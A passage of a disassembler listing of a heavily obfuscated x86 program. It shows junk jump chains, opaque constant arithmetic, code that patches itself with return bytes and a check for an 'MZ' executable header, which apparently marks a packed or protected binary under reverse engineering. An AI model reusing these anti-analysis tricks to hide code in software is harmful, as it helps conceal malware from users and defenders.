SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00439BE7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00439C24 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439CEA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439D37 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00439F75 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A02B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043A2E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A60B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043ABB3 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043ABDD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043AD9A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043ADFF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043AE69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AF70 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B072 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B1AE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043B2BE SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043B623 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B6C2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B708 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B9B1 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0043BA83 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043BB34 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043BB87 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043BC0C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BE7C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043BE85 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BF65 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043C3B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C677 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CB17 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043CD59 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0043CD96 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043D006 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043D11F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043D2F9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043D587 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043D63E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043DAD3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DB88 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043DBA3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043DBC0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043DCFD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DD1E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DF04 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043E1EC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043E2D3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043E399 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E3DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E4D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E4F6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E839 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043E96F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EDD8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043EE0F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043EEC6 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043F005 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F83F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00440228 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00440364 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0044040A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440501 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00440561 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00440578 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00440609 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004406B6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440799 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004407D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440DD8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00440F7E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00441122 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004412AD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004412EE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004413FC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044142D SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00441864 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441A21 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441AB4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00441F76 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00442100 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044241D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00442707 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004427A0 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004428A0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00442A67 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442C07 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442CCE SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00442D55 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00442D7D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044306B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00443282 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0044383F SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00443BFF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00443C42 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044424A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004445B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444638 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044491D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444970 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00444F6A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445062 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004451BC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044524F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044534C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00445373 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004459E2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445C6E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00445E87 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00446075 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00446563 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00446DDC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044707B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004470AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044722C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004472E6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044769E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004476C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004477D0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004478EF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447D2C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00447F96 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00447FBD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004483F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004484AD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00448543 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00448625 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00448826 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448854 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448B59 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00448C24 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448D1B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448D87 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00449264 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044933E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044984D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004498B4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004498D1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00449A42 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449BA5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00449BF3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00449DA7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044A265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A3C6 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0044A7CD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044A86D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A89E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0044AACE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044AE0A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044B048 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044B1E9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044B453 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044B4D0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044B698 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B78B SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0044B7CC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044BC03 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044BD91 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BDB9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044BDD7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044C24F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C568 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044C91A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044C98E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044CB6D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044CDBD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044CDF0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044CE5E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044CF01 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0044D3A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D57F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044D746 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044D881 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044DAF0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044E27B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E4FC SIZE 0000000B BYTES xchg esi, [esp+4+var_4] pop esi imul byte ptr [edx] cmp al, 0A4h jz loc_449195 jmp loc_441F76 ; --------------------------------------------------------------------------- loc_448EC9: ; CODE XREF: sub_43F501:loc_439837j lea eax, [ebp-14h] push eax call sub_44A9DF mov ds:dword_442AB8, eax mov ds:byte_442A98, 1 lea eax, [ebp-14h] xor edx, edx jmp loc_43E96F ; --------------------------------------------------------------------------- mov eax, [ebp-30h] mov [ebp-4], eax mov eax, [ebp-4] cmp word ptr [eax], 5A4Dh jnz loc_4422D0 jmp loc_4406B6 ; --------------------------------------------------------------------------- jl loc_440561 jmp sub_43B201 ; --------------------------------------------------------------------------- loc_448F0C: ; CODE XREF: sub_4410E0:loc_440FC6j xchg edx, [esp+4+var_4] jmp sub_43F7FF ; --------------------------------------------------------------------------- adc ebx, 6D6108ABh jmp sub_440626 ; --------------------------------------------------------------------------- loc_448F1F: ; CODE XREF: y22d6.y.:00441684j jnz loc_442CD4 loc_448F25: ; CODE XREF: sub_440494+C21Aj jmp nullsub_13 ; --------------------------------------------------------------------------- loc_448F2A: ; CODE XREF: sub_4441E8+3D57j jmp nullsub_126 ; --------------------------------------------------------------------------- or esi, ebp mov eax, [edx] jmp loc_446075 ; --------------------------------------------------------------------------- loc_448F38: ; CODE XREF: sub_43F7FF-7151j jz loc_44DAFF jmp loc_43AD9A ; --------------------------------------------------------------------------- pop ebp add edi, esi jmp sub_43E139 ; --------------------------------------------------------------------------- loc_448F4B: ; CODE XREF: sub_439A90:loc_442B3Bj ; sub_439A90+14B2Cj call sub_4416F3 loc_448F50: ; CODE XREF: sub_4480DE-886Fj jmp loc_445E87 ; --------------------------------------------------------------------------- loc_448F55: ; CODE XREF: sub_441C1C-A246j jmp loc_43BB87 ; --------------------------------------------------------------------------- loc_448F5A: ; CODE XREF: sub_43878A:loc_43879Aj xchg edi, [esp+0] push 2D49B125h pop eax xor eax, 0C2E49A53h add eax, 1097B6F6h xchg eax, [esp+0] jmp loc_441A21 ; --------------------------------------------------------------------------- loc_448F77: ; DATA XREF: sub_448EB6-5658o push eax jmp loc_44D565 ; --------------------------------------------------------------------------- loc_448F7D: ; CODE XREF: sub_442206j push eax mov eax, ebp push offset loc_449A20 jmp loc_44C24F ; --------------------------------------------------------------------------- push eax mov eax, ebx xchg eax, [esp+4+var_4] push 9B57C717h pop ebx and ebx, 41047B63h jmp loc_43B2BE ; --------------------------------------------------------------------------- loc_448FA1: ; CODE XREF: sub_43E39E-6AB7j add ecx, 2244A0BDh push offset loc_4463B3 jmp nullsub_129 ; --------------------------------------------------------------------------- loc_448FB1: ; CODE XREF: y22d6.y.:loc_43D2B8j jnz loc_44CB6D and esi, ebp loc_448FB9: ; CODE XREF: sub_43A735:loc_43D2A5j rol eax, 15h add eax, 50450F7Ch add eax, ebp jmp loc_44040A ; --------------------------------------------------------------------------- loc_448FC9: ; DATA XREF: sub_43734D+611Bo xchg ecx, [esp+8+var_8] mov esi, ecx not ecx jmp loc_44306B ; --------------------------------------------------------------------------- push 42E70959h pop eax and eax, 957DEEAEh xor eax, 0CE71E7F7h push ecx jmp loc_4455E3 ; --------------------------------------------------------------------------- locret_448FED: ; CODE XREF: sub_442C0C:loc_442EEFj retn ; --------------------------------------------------------------------------- locret_448FEE: ; CODE XREF: sub_438880+D48Ej retn ; --------------------------------------------------------------------------- loc_448FEF: ; CODE XREF: sub_44D73B+5j jmp loc_43EE0F ; --------------------------------------------------------------------------- loc_448FF4: ; CODE XREF: sub_448EB6+221j jmp loc_439D37 ; --------------------------------------------------------------------------- loc_448FF9: ; CODE XREF: sub_438E86:loc_43E8FAj push ebx mov ebx, ecx xchg ebx, [esp+10h+var_10] push edx push 0FD72E197h pop edx sub edx, 31F5EE90h jmp loc_43759A ; --------------------------------------------------------------------------- locret_449011: ; CODE XREF: sub_44B35D:loc_445162j retn ; --------------------------------------------------------------------------- loc_449012: ; CODE XREF: sub_44DCB9+17j jmp loc_448543 ; --------------------------------------------------------------------------- loc_449017: ; CODE XREF: sub_443906+Aj jmp nullsub_334 ; --------------------------------------------------------------------------- loc_44901C: ; CODE XREF: sub_43E86C:loc_43DBD3j mov esp, ebp pop ebp mov eax, ds:dword_441990 or eax, eax jnz loc_43733E jmp loc_43B623 ; --------------------------------------------------------------------------- loc_449032: ; CODE XREF: sub_43A6E1+AD4Bj not ebx jmp loc_43BF65 ; --------------------------------------------------------------------------- locret_449039: ; CODE XREF: sub_445A15:loc_43DC14j retn ; --------------------------------------------------------------------------- loc_44903A: ; CODE XREF: sub_446F34+5B69j jmp loc_446DDC ; --------------------------------------------------------------------------- loc_44903F: ; CODE XREF: y22d6.y.:004495F8j jmp sub_43BCA9 ; --------------------------------------------------------------------------- loc_449044: ; CODE XREF: sub_4432B8+2287j jmp sub_43F7FF ; --------------------------------------------------------------------------- loc_449049: ; CODE XREF: y22d6.y.:0043C312j jmp loc_440228 ; --------------------------------------------------------------------------- loc_44904E: ; CODE XREF: sub_44D3B1-F331j ja loc_44524F loc_449054: ; CODE XREF: sub_44D3B1:loc_444B2Bj rol ebx, 0Ah test ebx, 1000000h jmp loc_43BE85 ; --------------------------------------------------------------------------- loc_449062: ; CODE XREF: sub_4450FD:loc_44BB50j jz loc_43DBA5 loc_449068: ; CODE XREF: sub_4387EA+897Ej jmp loc_44242A ; --------------------------------------------------------------------------- loc_44906D: ; CODE XREF: y22d6.y.:00440BF1j jmp loc_44E4FC ; --------------------------------------------------------------------------- loc_449072: ; CODE XREF: y22d6.y.:0043A76Bj jmp nullsub_349 ; --------------------------------------------------------------------------- sub ebx, 513FC70h jmp loc_43DBA3 ; --------------------------------------------------------------------------- loc_449082: ; CODE XREF: sub_438953:loc_438963j jnz loc_44908E mov eax, [ebp-4] mov [ebp-8], eax loc_44908E: ; CODE XREF: sub_448EB6:loc_449082j call sub_44A9D9 mov [ebp-0Ah], al loc_449096: ; CODE XREF: sub_437680+13354j jns loc_4498D1 mov eax, [ebp-4] jmp loc_43DCFD ; --------------------------------------------------------------------------- loc_4490A4: ; CODE XREF: y22d6.y.:00447227j call sub_44E5C7 mov eax, 19A5E09Eh call sub_43CA1A push offset loc_44C5DB jmp loc_442C07 ; --------------------------------------------------------------------------- loc_4490BD: ; CODE XREF: sub_439051+C618j jz loc_4429CA loc_4490C3: ; CODE XREF: y22d6.y.:loc_43C7DBj add edx, 36EA66B8h push eax pushf push 50FD2528h pop eax and eax, 16EF26D1h jmp loc_448FF4 ; --------------------------------------------------------------------------- test ebx, ebp jmp loc_440578 ; --------------------------------------------------------------------------- locret_4490E3: ; CODE XREF: sub_44D83F:loc_445D35j retn ; --------------------------------------------------------------------------- loc_4490E4: ; CODE XREF: sub_43B98D+11FD2j jmp loc_43EDD8 ; --------------------------------------------------------------------------- loc_4490E9: ; CODE XREF: sub_43B3CC+Bj jmp loc_44A89E ; --------------------------------------------------------------------------- loc_4490EE: ; CODE XREF: y22d6.y.:0043CE0Ej jge loc_44984D adc eax, ebp jmp sub_43E5B0 ; --------------------------------------------------------------------------- loc_4490FB: ; CODE XREF: sub_449641+AACj jge loc_43957B add ebp, 9EB7D96Ch loc_449107: ; CODE XREF: sub_44571D:loc_43FD89j mov eax, [ebp-28h] mov byte ptr [eax], 64h inc dword ptr [ebp-28h] jmp loc_43E2D3 ; --------------------------------------------------------------------------- loc_449115: ; CODE XREF: sub_4432B8-971Cj pop edx pushf jnz loc_43D11F jmp loc_44C568 ; --------------------------------------------------------------------------- loc_449122: ; CODE XREF: sub_4387EA:loc_441162j ; sub_448EB6-6A80j push offset loc_44DAC1 jmp loc_4383C6 ; --------------------------------------------------------------------------- loc_44912C: ; CODE XREF: y22d6.y.:00442F4Fj or eax, 42929198h sub eax, 7FCE98B3h xor eax, 91B34E0Bh add eax, ebp push ecx push 3478910Ah jmp loc_440609 ; --------------------------------------------------------------------------- loc_44914B: ; CODE XREF: sub_440330+BFEDj imul byte ptr [edx] cmp al, 0A4h jz loc_438F00 jmp loc_444638 ; --------------------------------------------------------------------------- loc_44915A: ; CODE XREF: sub_43FBC3:loc_4391B1j mov byte ptr [eax], 0C3h jmp nullsub_8 ; --------------------------------------------------------------------------- pop edx mov eax, [esp+4+var_4] push edx call sub_442AFF call sub_443BD2 loc_449171: ; CODE XREF: sub_437B01:loc_43D691j ; DATA XREF: y22d6.y.:004405CAo push edi mov edi, eax xchg edi, [esp+0Ch+var_C] mov edx, eax push eax push 6787A5BDh xchg edx, [esp+14h+var_14] mov eax, edx jmp loc_437384 ; --------------------------------------------------------------------------- loc_449189: ; CODE XREF: sub_43E185-439Aj jbe loc_44C91A jp loc_43FFDB loc_449195: ; CODE XREF: sub_43B09B-1288j ; y22d6.y.:00439E21j ... jmp loc_44A239 sub_448EB6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_44919A: ; CODE XREF: sub_43E185+6900j ; sub_448EB6:loc_44B7D2j xchg eax, [esp+10h+var_10] mov ecx, eax xchg ebp, [esp+10h+var_10] jmp loc_443FAB ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- or edi, esi jmp loc_4418A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_4491AE: ; CODE XREF: sub_438B66+203Dj not ecx popf shr ecx, 19h loc_4491B4: ; CODE XREF: sub_438B66:loc_447D90j movzx eax, word ptr [ebp-6] push 0DDB3FC4Eh pop edx add edx, 1BED96FAh jmp loc_43F7F0 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_4491C9: ; CODE XREF: sub_4452EE:loc_44C074j cmp al, 0A4h jz loc_443C2F jmp loc_43EFA0 ; END OF FUNCTION CHUNK FOR sub_4452EE ; --------------------------------------------------------------------------- loc_4491D6: ; CODE XREF: y22d6.y.:00447197j and eax, ebx ; =============== S U B R O U T I N E ======================================= sub_4491D8 proc near ; CODE XREF: sub_447268+1AF8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004393DB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043CFC5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043D564 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445EE4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044C26F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044C486 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DEA3 SIZE 00000015 BYTES xchg ebx, [esp-4+arg_0] pop ebx push edx call sub_43EF0B push 171D42Ah pop eax rol eax, 0Ah jmp loc_44C26F sub_4491D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4491F0: ; CODE XREF: y22d6.y.:00440BBAj push edx call sub_43BE66 push 79680DEEh pop eax and eax, 0E4C2FBA1h or eax, 1B2969B0h xor eax, 0DCCD2433h jmp loc_438C48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449AA9 loc_449213: ; CODE XREF: sub_449AA9:loc_4451DEj mov ecx, eax xchg ecx, [esp+0] call sub_44999F ; END OF FUNCTION CHUNK FOR sub_449AA9 ; =============== S U B R O U T I N E ======================================= sub_44921D proc near ; CODE XREF: y22d6.y.:00439E49p ; FUNCTION CHUNK AT 0043724D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043DEB9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004465A0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044838E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00448B66 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00449BA0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B767 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044E185 SIZE 00000018 BYTES xchg edx, [esp+0] pop edx push 4CF83E69h pop eax rol eax, 1Fh jmp loc_43DEB9 sub_44921D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44922F: ; CODE XREF: y22d6.y.:0043E0CEj mov [eax], ebx pop edx and eax, ebp loc_449234: ; CODE XREF: y22d6.y.:loc_43E0B9j add edx, 0B28018C6h push offset loc_438426 jmp loc_43CC10 ; --------------------------------------------------------------------------- loc_449244: ; CODE XREF: y22d6.y.:0044B0B7j xor edx, 0BC3C37A1h sub edx, 2DDD506Ch add edx, 0E66A7950h xchg edx, [esp] jmp loc_441D88 ; --------------------------------------------------------------------------- jmp ds:off_41E1A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_449264: ; CODE XREF: sub_448EB6-5653j jmp nullsub_133 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_449269: ; CODE XREF: y22d6.y.:004416BBj ; sub_44BCC2:loc_441D88j ... jno loc_44CE0E ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; START OF FUNCTION CHUNK FOR sub_444427 loc_44926F: ; CODE XREF: sub_444427:loc_44250Cj pop edx mov eax, [esp+0] jmp loc_4432D5 ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- loc_449278: ; CODE XREF: y22d6.y.:00440686j mov byte ptr [eax], 0C3h jmp sub_446425 ; =============== S U B R O U T I N E ======================================= sub_449280 proc near ; CODE XREF: sub_419FEC+9Bp ; sub_449280+5j ; DATA XREF: ... call sub_44928B jmp ds:off_41E0A0 sub_449280 endp ; =============== S U B R O U T I N E ======================================= sub_44928B proc near ; CODE XREF: sub_43921B+7j ; y22d6.y.:loc_43AC57j ... arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0043B28C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004415C7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044844B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044E144 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044E597 SIZE 00000023 BYTES xchg ebx, [esp+0] push ebx jmp loc_4415C7 sub_44928B endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_449294: ; CODE XREF: y22d6.y.:00440794j xchg ebp, eax ; =============== S U B R O U T I N E ======================================= sub_449296 proc near ; CODE XREF: sub_43C538:loc_4442D1p ; FUNCTION CHUNK AT 0044D7EC SIZE 00000004 BYTES xchg esi, [esp+0] pop esi jz loc_44D7F5 mov dword ptr [ebp-8], 1 loc_4492A7: ; CODE XREF: sub_4498DE:loc_438D5Fj ; sub_448B71+1Aj mov eax, [ebp-8] jmp loc_44D7EC sub_449296 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_359. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_4492B0: ; CODE XREF: y22d6.y.:loc_44A605j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD3D loc_4492B1: ; CODE XREF: sub_43AD3D+Dj jmp loc_44C086 ; END OF FUNCTION CHUNK FOR sub_43AD3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_4492B6: ; CODE XREF: sub_43FFE2-3340j pop esi or esi, 0A27F04E7h sub esi, 0CC03BBB7h and esi, 0CD6FA72Ch jmp loc_44C24A ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- jnp loc_4427AB push edx jmp sub_448D0A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4492DB: ; CODE XREF: y22d6.y.:loc_445E3Cj lea eax, sub_4416CB mov byte ptr [eax], 0C3h jmp sub_4416CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416CB loc_4492E9: ; CODE XREF: sub_4416CB:loc_43A96Bj mov eax, [esp-4+arg_0] push edi mov edi, edx xchg edi, [esp+0] jmp loc_4380BE ; END OF FUNCTION CHUNK FOR sub_4416CB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_237. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4492F8: ; CODE XREF: y22d6.y.:00449B3Aj jmp loc_44E46A ; --------------------------------------------------------------------------- loc_4492FD: ; CODE XREF: y22d6.y.:00447CE0j jmp loc_448927 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44190B loc_449302: ; CODE XREF: sub_44190B+161j jmp loc_44E3B6 ; END OF FUNCTION CHUNK FOR sub_44190B ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_449307 proc near ; CODE XREF: y22d6.y.:00448873p ; y22d6.y.:0044C5CCj ; FUNCTION CHUNK AT 004403E0 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push ebp mov ebp, eax push offset sub_445194 jmp loc_4403E0 sub_449307 endp ; --------------------------------------------------------------------------- loc_449318: ; CODE XREF: y22d6.y.:004462F3j jz loc_44DE4C jmp loc_43BB00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BAC8 loc_449323: ; CODE XREF: sub_44BAC8:loc_44BAD3j push offset loc_444DE7 jmp loc_44018E ; END OF FUNCTION CHUNK FOR sub_44BAC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4408CF loc_44932D: ; CODE XREF: sub_4408CF+Aj rol ebx, 1Ch add ebx, 0C3D47EBCh xchg ebx, [esp+0] jmp loc_439832 ; END OF FUNCTION CHUNK FOR sub_4408CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44933E: ; CODE XREF: sub_448EB6-10DA3j jge loc_4412AD ; END OF FUNCTION CHUNK FOR sub_448EB6 